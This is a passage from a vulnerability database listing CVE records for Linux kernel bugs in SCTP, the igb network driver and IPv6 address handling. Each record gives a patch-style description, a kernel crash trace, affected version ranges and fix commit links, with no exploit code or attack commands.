                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.30",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: set sk_state back to CLOSED if autobind fails in sctp_listen_start\n\nIn sctp_listen_start() invoked by sctp_inet_listen(), it should set the\nsk_state back to CLOSED if sctp_autobind() fails due to whatever reason.\n\nOtherwise, next time when calling sctp_inet_listen(), if sctp_sk(sk)-\u003ereuse\nis already set via setsockopt(SCTP_REUSE_PORT), sctp_sk(sk)-\u003ebind_hash will\nbe dereferenced as sk_state is LISTENING, which causes a crash as bind_hash\nis NULL.\n\n  KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\n  RIP: 0010:sctp_inet_listen+0x7f0/0xa20 net/sctp/socket.c:8617\n  Call Trace:\n   \u003cTASK\u003e\n   __sys_listen_socket net/socket.c:1883 [inline]\n   __sys_listen+0x1b7/0x230 net/socket.c:1894\n   __do_sys_listen net/socket.c:1902 [inline]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:42:33.684Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/89bbead9d897c77d0b566349c8643030ff2abeba"
        },
        {
          "url": "https://git.kernel.org/stable/c/0e4e2e60556c6ed00e8450b720f106a268d23062"
        },
        {
          "url": "https://git.kernel.org/stable/c/dd70c8a89ef99c3d53127fe19e51ef47c3f860fa"
        },
        {
          "url": "https://git.kernel.org/stable/c/e7a8442195e8ebd97df467ce4742980ab57edcce"
        },
        {
          "url": "https://git.kernel.org/stable/c/9230a59eda0878d7ecaa901d876aec76f57bd455"
        },
        {
          "url": "https://git.kernel.org/stable/c/7f64cb5b4d8c872296eda0fdce3bcf099eec7aa7"
        },
        {
          "url": "https://git.kernel.org/stable/c/f032e1dac30b3376c7d6026fb01a8c403c47a80d"
        },
        {
          "url": "https://git.kernel.org/stable/c/e914bf68dab88815a7ae7b7a3a5e8913c8ff14a5"
        },
        {
          "url": "https://git.kernel.org/stable/c/8beee4d8dee76b67c75dc91fd8185d91e845c160"
        }
      ],
      "title": "sctp: set sk_state back to CLOSED if autobind fails in sctp_listen_start",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49944",
    "datePublished": "2024-10-21T18:02:02.457Z",
    "dateReserved": "2024-10-21T12:17:06.044Z",
    "dateUpdated": "2026-05-12T11:59:06.092Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50040 (GCVE-0-2024-50040)

Vulnerability from cvelistv5 – Published: 2024-10-21 19:39 – Updated: 2026-05-12 11:59

Title

igb: Do not bring the device up after non-fatal error

Summary

In the Linux kernel, the following vulnerability has been resolved: igb: Do not bring the device up after non-fatal error Commit 004d25060c78 ("igb: Fix igb_down hung on surprise removal") changed igb_io_error_detected() to ignore non-fatal pcie errors in order to avoid hung task that can happen when igb_down() is called multiple times. This caused an issue when processing transient non-fatal errors. igb_io_resume(), which is called after igb_io_error_detected(), assumes that device is brought down by igb_io_error_detected() if the interface is up. This resulted in panic with stacktrace below. [ T3256] igb 0000:09:00.0 haeth0: igb: haeth0 NIC Link is Down [ T292] pcieport 0000:00:1c.5: AER: Uncorrected (Non-Fatal) error received: 0000:09:00.0 [ T292] igb 0000:09:00.0: PCIe Bus Error: severity=Uncorrected (Non-Fatal), type=Transaction Layer, (Requester ID) [ T292] igb 0000:09:00.0: device [8086:1537] error status/mask=00004000/00000000 [ T292] igb 0000:09:00.0: [14] CmpltTO [ 200.105524,009][ T292] igb 0000:09:00.0: AER: TLP Header: 00000000 00000000 00000000 00000000 [ T292] pcieport 0000:00:1c.5: AER: broadcast error_detected message [ T292] igb 0000:09:00.0: Non-correctable non-fatal error reported. [ T292] pcieport 0000:00:1c.5: AER: broadcast mmio_enabled message [ T292] pcieport 0000:00:1c.5: AER: broadcast resume message [ T292] ------------[ cut here ]------------ [ T292] kernel BUG at net/core/dev.c:6539! [ T292] invalid opcode: 0000 [#1] PREEMPT SMP [ T292] RIP: 0010:napi_enable+0x37/0x40 [ T292] Call Trace: [ T292] <TASK> [ T292] ? die+0x33/0x90 [ T292] ? do_trap+0xdc/0x110 [ T292] ? napi_enable+0x37/0x40 [ T292] ? do_error_trap+0x70/0xb0 [ T292] ? napi_enable+0x37/0x40 [ T292] ? napi_enable+0x37/0x40 [ T292] ? exc_invalid_op+0x4e/0x70 [ T292] ? napi_enable+0x37/0x40 [ T292] ? asm_exc_invalid_op+0x16/0x20 [ T292] ? napi_enable+0x37/0x40 [ T292] igb_up+0x41/0x150 [ T292] igb_io_resume+0x25/0x70 [ T292] report_resume+0x54/0x70 [ T292] ? report_frozen_detected+0x20/0x20 [ T292] pci_walk_bus+0x6c/0x90 [ T292] ? aer_print_port_info+0xa0/0xa0 [ T292] pcie_do_recovery+0x22f/0x380 [ T292] aer_process_err_devices+0x110/0x160 [ T292] aer_isr+0x1c1/0x1e0 [ T292] ? disable_irq_nosync+0x10/0x10 [ T292] irq_thread_fn+0x1a/0x60 [ T292] irq_thread+0xe3/0x1a0 [ T292] ? irq_set_affinity_notifier+0x120/0x120 [ T292] ? irq_affinity_notify+0x100/0x100 [ T292] kthread+0xe2/0x110 [ T292] ? kthread_complete_and_exit+0x20/0x20 [ T292] ret_from_fork+0x2d/0x50 [ T292] ? kthread_complete_and_exit+0x20/0x20 [ T292] ret_from_fork_asm+0x11/0x20 [ T292] </TASK> To fix this issue igb_io_resume() checks if the interface is running and the device is not down this means igb_io_error_detected() did not bring the device down and there is no need to bring it up.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/dca2ca65a8695d959…
https://git.kernel.org/stable/c/c92cbd283ddcf55fd…
https://git.kernel.org/stable/c/d79af3af2f49c6aae…
https://git.kernel.org/stable/c/0a94079e3841d00ea…
https://git.kernel.org/stable/c/6a39c8f5c8aae74c5…
https://git.kernel.org/stable/c/57c5053eaa5f9a8a9…
https://git.kernel.org/stable/c/500be93c5d53b7e2c…
https://git.kernel.org/stable/c/330a699ecbfc9c26e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 124e39a734cb90658b8f0dc110847bbfc6e33792 , < dca2ca65a8695d9593e2cf1b40848e073ad75413 (git) Affected: c9f56f3c7bc908caa772112d3ae71cdd5d18c257 , < c92cbd283ddcf55fd85a9a9b0ba13298213f3dd7 (git) Affected: 994c2ceb70ea99264ccc6f09e6703ca267dad63c , < d79af3af2f49c6aae9add3d492c04d60c1b85ce4 (git) Affected: fa92c463eba75dcedbd8d689ffdcb83293aaa0c3 , < 0a94079e3841d00ea5abb05e3233d019a86745f6 (git) Affected: 39695e87d86f0e7d897fba1d2559f825aa20caeb , < 6a39c8f5c8aae74c5ab2ba466791f59ffaab0178 (git) Affected: 004d25060c78fc31f66da0fa439c544dda1ac9d5 , < 57c5053eaa5f9a8a99e34732e37a86615318e464 (git) Affected: 004d25060c78fc31f66da0fa439c544dda1ac9d5 , < 500be93c5d53b7e2c5314292012185f0207bad0c (git) Affected: 004d25060c78fc31f66da0fa439c544dda1ac9d5 , < 330a699ecbfc9c26ec92c6310686da1230b4e7eb (git) Affected: c2312e1d12b1c3ee4100c173131b102e2aed4d04 (git) Affected: 41f63b72a01c0e0ac59ab83fd2d921fcce0f602d (git)
Linux	Linux	Affected: 6.5 Unaffected: 0 , < 6.5 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.57 , ≤ 6.6.* (semver) Unaffected: 6.11.4 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50040",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:24:54.389339Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:28:44.369Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:46.834Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:58.810Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/intel/igb/igb_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "dca2ca65a8695d9593e2cf1b40848e073ad75413",
              "status": "affected",
              "version": "124e39a734cb90658b8f0dc110847bbfc6e33792",
              "versionType": "git"
            },
            {
              "lessThan": "c92cbd283ddcf55fd85a9a9b0ba13298213f3dd7",
              "status": "affected",
              "version": "c9f56f3c7bc908caa772112d3ae71cdd5d18c257",
              "versionType": "git"
            },
            {
              "lessThan": "d79af3af2f49c6aae9add3d492c04d60c1b85ce4",
              "status": "affected",
              "version": "994c2ceb70ea99264ccc6f09e6703ca267dad63c",
              "versionType": "git"
            },
            {
              "lessThan": "0a94079e3841d00ea5abb05e3233d019a86745f6",
              "status": "affected",
              "version": "fa92c463eba75dcedbd8d689ffdcb83293aaa0c3",
              "versionType": "git"
            },
            {
              "lessThan": "6a39c8f5c8aae74c5ab2ba466791f59ffaab0178",
              "status": "affected",
              "version": "39695e87d86f0e7d897fba1d2559f825aa20caeb",
              "versionType": "git"
            },
            {
              "lessThan": "57c5053eaa5f9a8a99e34732e37a86615318e464",
              "status": "affected",
              "version": "004d25060c78fc31f66da0fa439c544dda1ac9d5",
              "versionType": "git"
            },
            {
              "lessThan": "500be93c5d53b7e2c5314292012185f0207bad0c",
              "status": "affected",
              "version": "004d25060c78fc31f66da0fa439c544dda1ac9d5",
              "versionType": "git"
            },
            {
              "lessThan": "330a699ecbfc9c26ec92c6310686da1230b4e7eb",
              "status": "affected",
              "version": "004d25060c78fc31f66da0fa439c544dda1ac9d5",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "c2312e1d12b1c3ee4100c173131b102e2aed4d04",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "41f63b72a01c0e0ac59ab83fd2d921fcce0f602d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/intel/igb/igb_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.5"
            },
            {
              "lessThan": "6.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.57",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.19.291",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.4.251",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.10.188",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.15.150",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "6.1.42",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.57",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.4",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "6.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.322",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.4.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nigb: Do not bring the device up after non-fatal error\n\nCommit 004d25060c78 (\"igb: Fix igb_down hung on surprise removal\")\nchanged igb_io_error_detected() to ignore non-fatal pcie errors in order\nto avoid hung task that can happen when igb_down() is called multiple\ntimes. This caused an issue when processing transient non-fatal errors.\nigb_io_resume(), which is called after igb_io_error_detected(), assumes\nthat device is brought down by igb_io_error_detected() if the interface\nis up. This resulted in panic with stacktrace below.\n\n[ T3256] igb 0000:09:00.0 haeth0: igb: haeth0 NIC Link is Down\n[  T292] pcieport 0000:00:1c.5: AER: Uncorrected (Non-Fatal) error received: 0000:09:00.0\n[  T292] igb 0000:09:00.0: PCIe Bus Error: severity=Uncorrected (Non-Fatal), type=Transaction Layer, (Requester ID)\n[  T292] igb 0000:09:00.0:   device [8086:1537] error status/mask=00004000/00000000\n[  T292] igb 0000:09:00.0:    [14] CmpltTO [  200.105524,009][  T292] igb 0000:09:00.0: AER:   TLP Header: 00000000 00000000 00000000 00000000\n[  T292] pcieport 0000:00:1c.5: AER: broadcast error_detected message\n[  T292] igb 0000:09:00.0: Non-correctable non-fatal error reported.\n[  T292] pcieport 0000:00:1c.5: AER: broadcast mmio_enabled message\n[  T292] pcieport 0000:00:1c.5: AER: broadcast resume message\n[  T292] ------------[ cut here ]------------\n[  T292] kernel BUG at net/core/dev.c:6539!\n[  T292] invalid opcode: 0000 [#1] PREEMPT SMP\n[  T292] RIP: 0010:napi_enable+0x37/0x40\n[  T292] Call Trace:\n[  T292]  \u003cTASK\u003e\n[  T292]  ? die+0x33/0x90\n[  T292]  ? do_trap+0xdc/0x110\n[  T292]  ? napi_enable+0x37/0x40\n[  T292]  ? do_error_trap+0x70/0xb0\n[  T292]  ? napi_enable+0x37/0x40\n[  T292]  ? napi_enable+0x37/0x40\n[  T292]  ? exc_invalid_op+0x4e/0x70\n[  T292]  ? napi_enable+0x37/0x40\n[  T292]  ? asm_exc_invalid_op+0x16/0x20\n[  T292]  ? napi_enable+0x37/0x40\n[  T292]  igb_up+0x41/0x150\n[  T292]  igb_io_resume+0x25/0x70\n[  T292]  report_resume+0x54/0x70\n[  T292]  ? report_frozen_detected+0x20/0x20\n[  T292]  pci_walk_bus+0x6c/0x90\n[  T292]  ? aer_print_port_info+0xa0/0xa0\n[  T292]  pcie_do_recovery+0x22f/0x380\n[  T292]  aer_process_err_devices+0x110/0x160\n[  T292]  aer_isr+0x1c1/0x1e0\n[  T292]  ? disable_irq_nosync+0x10/0x10\n[  T292]  irq_thread_fn+0x1a/0x60\n[  T292]  irq_thread+0xe3/0x1a0\n[  T292]  ? irq_set_affinity_notifier+0x120/0x120\n[  T292]  ? irq_affinity_notify+0x100/0x100\n[  T292]  kthread+0xe2/0x110\n[  T292]  ? kthread_complete_and_exit+0x20/0x20\n[  T292]  ret_from_fork+0x2d/0x50\n[  T292]  ? kthread_complete_and_exit+0x20/0x20\n[  T292]  ret_from_fork_asm+0x11/0x20\n[  T292]  \u003c/TASK\u003e\n\nTo fix this issue igb_io_resume() checks if the interface is running and\nthe device is not down this means igb_io_error_detected() did not bring\nthe device down and there is no need to bring it up."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:44:19.783Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/dca2ca65a8695d9593e2cf1b40848e073ad75413"
        },
        {
          "url": "https://git.kernel.org/stable/c/c92cbd283ddcf55fd85a9a9b0ba13298213f3dd7"
        },
        {
          "url": "https://git.kernel.org/stable/c/d79af3af2f49c6aae9add3d492c04d60c1b85ce4"
        },
        {
          "url": "https://git.kernel.org/stable/c/0a94079e3841d00ea5abb05e3233d019a86745f6"
        },
        {
          "url": "https://git.kernel.org/stable/c/6a39c8f5c8aae74c5ab2ba466791f59ffaab0178"
        },
        {
          "url": "https://git.kernel.org/stable/c/57c5053eaa5f9a8a99e34732e37a86615318e464"
        },
        {
          "url": "https://git.kernel.org/stable/c/500be93c5d53b7e2c5314292012185f0207bad0c"
        },
        {
          "url": "https://git.kernel.org/stable/c/330a699ecbfc9c26ec92c6310686da1230b4e7eb"
        }
      ],
      "title": "igb: Do not bring the device up after non-fatal error",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50040",
    "datePublished": "2024-10-21T19:39:39.771Z",
    "dateReserved": "2024-10-21T12:17:06.071Z",
    "dateUpdated": "2026-05-12T11:59:58.810Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35969 (GCVE-0-2024-35969)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:41 – Updated: 2026-05-12 11:53

Title

ipv6: fix race condition between ipv6_get_ifaddr and ipv6_del_addr

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: fix race condition between ipv6_get_ifaddr and ipv6_del_addr Although ipv6_get_ifaddr walks inet6_addr_lst under the RCU lock, it still means hlist_for_each_entry_rcu can return an item that got removed from the list. The memory itself of such item is not freed thanks to RCU but nothing guarantees the actual content of the memory is sane. In particular, the reference count can be zero. This can happen if ipv6_del_addr is called in parallel. ipv6_del_addr removes the entry from inet6_addr_lst (hlist_del_init_rcu(&ifp->addr_lst)) and drops all references (__in6_ifa_put(ifp) + in6_ifa_put(ifp)). With bad enough timing, this can happen: 1. In ipv6_get_ifaddr, hlist_for_each_entry_rcu returns an entry. 2. Then, the whole ipv6_del_addr is executed for the given entry. The reference count drops to zero and kfree_rcu is scheduled. 3. ipv6_get_ifaddr continues and tries to increments the reference count (in6_ifa_hold). 4. The rcu is unlocked and the entry is freed. 5. The freed entry is returned. Prevent increasing of the reference count in such case. The name in6_ifa_hold_safe is chosen to mimic the existing fib6_info_hold_safe. [ 41.506330] refcount_t: addition on 0; use-after-free. [ 41.506760] WARNING: CPU: 0 PID: 595 at lib/refcount.c:25 refcount_warn_saturate+0xa5/0x130 [ 41.507413] Modules linked in: veth bridge stp llc [ 41.507821] CPU: 0 PID: 595 Comm: python3 Not tainted 6.9.0-rc2.main-00208-g49563be82afa #14 [ 41.508479] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) [ 41.509163] RIP: 0010:refcount_warn_saturate+0xa5/0x130 [ 41.509586] Code: ad ff 90 0f 0b 90 90 c3 cc cc cc cc 80 3d c0 30 ad 01 00 75 a0 c6 05 b7 30 ad 01 01 90 48 c7 c7 38 cc 7a 8c e8 cc 18 ad ff 90 <0f> 0b 90 90 c3 cc cc cc cc 80 3d 98 30 ad 01 00 0f 85 75 ff ff ff [ 41.510956] RSP: 0018:ffffbda3c026baf0 EFLAGS: 00010282 [ 41.511368] RAX: 0000000000000000 RBX: ffff9e9c46914800 RCX: 0000000000000000 [ 41.511910] RDX: ffff9e9c7ec29c00 RSI: ffff9e9c7ec1c900 RDI: ffff9e9c7ec1c900 [ 41.512445] RBP: ffff9e9c43660c9c R08: 0000000000009ffb R09: 00000000ffffdfff [ 41.512998] R10: 00000000ffffdfff R11: ffffffff8ca58a40 R12: ffff9e9c4339a000 [ 41.513534] R13: 0000000000000001 R14: ffff9e9c438a0000 R15: ffffbda3c026bb48 [ 41.514086] FS: 00007fbc4cda1740(0000) GS:ffff9e9c7ec00000(0000) knlGS:0000000000000000 [ 41.514726] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 41.515176] CR2: 000056233b337d88 CR3: 000000000376e006 CR4: 0000000000370ef0 [ 41.515713] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 41.516252] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 41.516799] Call Trace: [ 41.517037] <TASK> [ 41.517249] ? __warn+0x7b/0x120 [ 41.517535] ? refcount_warn_saturate+0xa5/0x130 [ 41.517923] ? report_bug+0x164/0x190 [ 41.518240] ? handle_bug+0x3d/0x70 [ 41.518541] ? exc_invalid_op+0x17/0x70 [ 41.520972] ? asm_exc_invalid_op+0x1a/0x20 [ 41.521325] ? refcount_warn_saturate+0xa5/0x130 [ 41.521708] ipv6_get_ifaddr+0xda/0xe0 [ 41.522035] inet6_rtm_getaddr+0x342/0x3f0 [ 41.522376] ? __pfx_inet6_rtm_getaddr+0x10/0x10 [ 41.522758] rtnetlink_rcv_msg+0x334/0x3d0 [ 41.523102] ? netlink_unicast+0x30f/0x390 [ 41.523445] ? __pfx_rtnetlink_rcv_msg+0x10/0x10 [ 41.523832] netlink_rcv_skb+0x53/0x100 [ 41.524157] netlink_unicast+0x23b/0x390 [ 41.524484] netlink_sendmsg+0x1f2/0x440 [ 41.524826] __sys_sendto+0x1d8/0x1f0 [ 41.525145] __x64_sys_sendto+0x1f/0x30 [ 41.525467] do_syscall_64+0xa5/0x1b0 [ 41.525794] entry_SYSCALL_64_after_hwframe+0x72/0x7a [ 41.526213] RIP: 0033:0x7fbc4cfcea9a [ 41.526528] Code: d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 f3 0f 1e fa 41 89 ca 64 8b 04 25 18 00 00 00 85 c0 75 15 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 7e c3 0f 1f 44 00 00 41 54 48 83 ec 30 44 89 [ 41.527942] RSP: 002b:00007f ---truncated---

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/b4b3b69a19016d4e7…
https://git.kernel.org/stable/c/cca606e14264098cb…
https://git.kernel.org/stable/c/3fb02ec57ead2891a…
https://git.kernel.org/stable/c/4b19e9507c275de0c…
https://git.kernel.org/stable/c/de76ae9ea1a6cf9e7…
https://git.kernel.org/stable/c/01b11a0566670612b…
https://git.kernel.org/stable/c/6cdb20c342cd0193d…
https://git.kernel.org/stable/c/7633c4da919ad5116…

Impacted products

2 products

Vendor	Product	Version
